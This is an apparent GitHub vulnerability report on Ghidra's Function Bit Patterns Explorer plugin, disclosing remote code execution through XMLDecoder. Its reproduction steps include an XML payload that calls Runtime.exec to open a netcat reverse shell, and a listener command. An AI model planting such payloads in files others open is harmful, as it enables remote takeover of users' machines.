Skip to content

RCE possible in Function Bit Patterns Explorer Plugin #1090

@purpleracc00n

Description

@purpleracc00n

Description:
XMLDecoder is used in FileBitPatternInfoReader.java which causes a Remote Code Execution in the Bit Patterns Explorer Plugin.

Steps to reproduce the behavior:
1: Open a binary with CodeBrowser
2. Go to Window->Script Manager and select the "DumpFunctionPatternInfoScript"
3. Export the resulted XML file.
4. Add the following at the end of the file, after the closing tag of the last object and before the </java> closing tag:

<object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>nc 127.0.0.1 1337 -c ’/bin/bash’</string> </void> </object>

  1. Open local listening server with : nc -lvnp 1337
  2. Go to Window->Function Bit Patterns Explorer (you will need to enable experimental mode from configuration first File->Configure...)
  3. In the opened plugin window, click "Read XML Files", point to the directory where the XML file was saved and click OK.
  4. Go back to the listener and see the shell opened.

Expected behavior
No code from the xml files should be executed while running this plugin.

Environment:

  • OS: Kali Linux x86_64
  • Java Version: 11.0.4
  • Ghidra Version: 9.0.4

Metadata

Metadata

Type

No type

Projects

No projects

Milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions